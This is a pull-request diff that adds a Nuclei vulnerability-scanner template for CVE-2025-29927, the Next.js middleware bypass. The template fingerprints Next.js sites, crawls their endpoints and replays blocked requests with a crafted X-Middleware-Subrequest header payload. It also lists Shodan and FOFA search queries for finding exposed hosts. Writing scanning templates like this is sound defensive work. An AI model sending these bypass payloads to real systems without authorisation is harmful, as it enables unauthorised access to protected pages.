Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
88 changes: 88 additions & 0 deletions http/cves/2025/CVE-2025-29927.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,88 @@
id: CVE-2025-29927

info:
name: Next.js Middleware Bypass
author: pdresearch,pdteam
severity: critical
description: |
Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2.
The vulnerability allows attackers to bypass middleware security controls by sending a specially crafted
'x-middleware-subrequest' header, which can lead to authorization bypass and other security control circumvention.
reference:
- https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
- https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
remediation: |
Upgrade to Next.js 14.2.25 or 15.2.3 or later.
If upgrading is not possible, block the x-middleware-subrequest header at the WAF or server level.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cwe-id: CWE-287
metadata:
max-request: 1
shodan-query: x-middleware-rewrite
fofa-query: x-middleware-rewrite
product: next.js
vendor: zeit
tags: cve,cve2025,nextjs,middleware,auth-bypass

flow: |
http(1)
for(let endpoint_urls of iterate(template.endpoints)){
set("endpoints", endpoint_urls)
http(2) && http(3)
}

http:
- method: GET
path:
- "{{BaseURL}}"

matchers:
- type: word
part: body
words:
- "_next/static"
internal: true

- type: word
part: header
words:
- "Next.js"
internal: true

extractors:
- type: regex
name: endpoints
part: body
group: 1
regex:
- "href=['\"](\\/[^\\.\"']+)['\"]"
internal: true

- method: GET
path:
- "{{BaseURL}}{{endpoints}}"

matchers:
- type: dsl
dsl:
- contains_any(to_lower(header), 'x-middleware-rewrite', 'x-middleware-next', 'x-middleware-redirect') && status_code != 200
- contains_any(to_lower(location), 'unauthorized') && status_code != 200
internal: true

- method: GET
path:
- "{{BaseURL}}{{endpoints}}"
headers:
X-Middleware-Subrequest: "{{nextjs_bypass}}"

payloads:
nextjs_bypass:
- "middleware:middleware:middleware:middleware:middleware"
- "x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware"

matchers:
- type: dsl
dsl:
- status_code == 200